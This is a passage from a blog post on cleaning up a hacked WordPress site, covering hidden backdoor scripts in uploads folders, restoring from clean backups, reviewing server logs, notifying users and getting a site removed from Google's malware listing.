While it’s possible for malicious code to actually be embedded in what looks like an image file, what I have found to be far more common is that backdoor scripts will be inserted into your uploads subdirectories where normally only images live. As a site owner is cleaning up their hacked WordPress install, they often overlook combing through the images directory, since scripts don’t normally live there.  That means that after the site owner has spent hours cleaning out a hacked blog, the backdoor gets triggered and they find themselves hacked all over again.

One of the commenters in this post had a similar issue. He kept cleaning out the script files, replacing them with clean copies, etc. And every week, the blog would get hacked again. We went through his file structure together, and sure enough, there were .php and .pl files tucked away in a few of his uploads directories.

In another instance (that I will hopefully get a chance to blog about soon), I discovered files in the cgi-bin that didn’t belong there. You can read more about that exploit in depth in my post about it on badwarebusters.org if you’re interested.

If you don’t have shell access and have an older blog with tons of upload subdirectories broken down by month, this can be time-consuming, but it really is necessary. Without SSH access, the easiest thing to do is to go into each directory in your FTP program and sort the file listing by file type. This will group all of the images together, and make it easy to spot anything that isn’t an image and doesn’t belong. Then do another quick sort by file modification date, just to be sure there’s nothing in there that doesn’t make sense, for example a recent modification date on an image from a blog post that is over a month old. Unless you know you went back into the blog post and updated an image, that file modification timestamp should look out of place and should raise some red flags.

Once you have a copy of all of the bad files and you know when they were modified, you can now restore the site.
Leave the htaccess redirect up until you’re done. I highly recommend blowing out all of the files in the entire webspace and restoring from a clean backup. What would be a clean backup? One that was done before the timestamps of the bad files. Bear in mind, just because there was no visible sign of a hack previously, that doesn’t mean bad scripts weren’t living on the server – so this method isn’t foolproof, but it’s a good place to start.

I usually do a fresh download and reinstall if the core WordPress files at this point, just to be on the safe side.

Once the site is restored, revert back to your normal htaccess and re-open the site.
How you handle your PR is up to you. For some, transparency may be best. If you believe that your users’ usernames and/or passwords were compromised in any way, you should let your user’s know. I use Disqus on all of my sites, so my WordPress database doesn’t contain any user’s login information, but if you use WordPress’ native comments, you need to let your users now that their information was potentially exposed. This is an ethical obligation because many people (stupidly) use the same login for multiple accounts online, and having access to their WordPress login could mean the bad guys now have access to other accounts because the user was dumb enough to use the same login for your site as for their bank.

I generally recommend turning off new user registration altogether in WordPress. Once you’ve done that, you can password protect the wp-admin directory to further secure your install. (We’ll talk more about other ways you can secure your WordPress installation in the next article.)

Spend some time looking at your log files.
This part is critical, so you can figure out what happened and how the exploit was executed. Check your httpd logs, looking for signs of cross-site scripting around the time the you were alerted to the hack and earlier. Look for GET or POST strings being sent that have weird code in them, specifically GET or POST variables that don’t make any sense for your website.

Check your FTP/SSH logs for logins from IP addresses you don’t recognize, specifically around the time the bad files were modified.

If you see FTP traffic during that time that wasn’t you (or another legitimate user) uploading the hacked files, there is a very good chance that you or someone who has FTP access to your server has malware on their computer. The other option there is that you (or someone with access) was uploading files while on a public wifi network, and someone sniffed the login over the network. That is a less likely scenario, but still one to consider. Nine times out of ten recently, when I have had to fix a client or friend’s hacked WordPress site, it is because the computer they use to upload files has been compromised by way of malware or a virus.

Be paranoid.
Seriously. Keep a close eye on on your site, specifically checking the places the exploit first showed up. Check back often, reviewing your source code for anything that doesn’t belong. Injected code is very often found at the very bottom or very top of the executed page, but may also be sprinkled throughout the file, so keep your eyes peeled. Remember what we discussed earlier – it may be obfuscated, so doing a find on the source looking for “badsite.com” may give you a false negative.

If possible, try to update your website service monitoring service alerts to specifically look for the bad code. Try not to be too specific, since many of these hacks that leave backdoors will randomize their obfuscation, so the bad code could do undetected if you’re too specific.

Repeat the same process of logging in and monitoring which files have been been recently added or modified. Many scripts will randomize the filename of the backdoor script they bury somewhere deeper in your file structure, so don’t get used to looking for specific filenames – look for timestamps, and the moment you see a timestamp you’re not responsible for, be ready for round two.

Follow-up with Google.
If your site ended up being listed as malware so that browsers, email clients and some search engines have your site flagged as one that is a potential source of malware, you can appeal this. Using Google Webmaster tools, you can request a review of your site. Once Google decides your site is no longer a threat, you’ll be de-listed as a potentially harmful site. More information on Google’s policy on harmful sites is available here.

Final Notes

The methods mentioned above about detecting how the hack was executed do not cover all possibilities. If a poorly written script allowed the attacker access beyond your webroot, your entire server could be compromised. This is less of a risk with a reliable virtual or cloud host, since they will limit what your user can access with respect to the rest of the server, but still something to keep in mind. There are a lot of different kinds of attacks that you won’ be able to diagnose using the methods above – a DNS injection, rootkit, and so on will be harder to backtrack, and you’d be best served consulting a professional.

If you’re interested in learning more about penetration testing and intrusion detection, I highly recommend the e-book “Detecting Malice” by Robert “RSnake” Hansen. If this is your first foray into pen testing and security, you’ll appreciate Robert’s way of explaining complicated topics using easy-to-understand-language. If you’re more experienced in this field, you’ll still learn a lot (and this article was probably too basic for you, so what the hell were you doing here anyway?)

Odds are, if you’ve had a website for a while, you’ve been hacked. It does happen – but by taking some steps ahead of time, and being prepared for it, you’ll be able to react more effectively and preserve more of your reputation and the information that may be needed to lock down whatever security holes you may have.

I’ll hopefully be following up this article with a second one, that provides tips on how to secure your WordPress blog. Stay tuned, and make sure you’re subscribed to the RSS feed to know when it’s up.

I obviously couldn’t cover every scenario in one article, especially given the potentially broad range of varying technical abilities of my readers and the huge nuance and variety of attacks, but I tried to cover the basics. Did you learn anything new? Did I miss something? Let me know in the comments.

Possibly related posts:

1. Upgrading to WordPress 3.0 and Adding Multi-Site WordPress 3.0, code name “Thelonious”, has been released, and it...
2. Essential WordPress Plugins Many WordPress bloggers have taken the time to share the...
3. Creating A WordPress Theme If you’ve already got some design chops and a WordPress...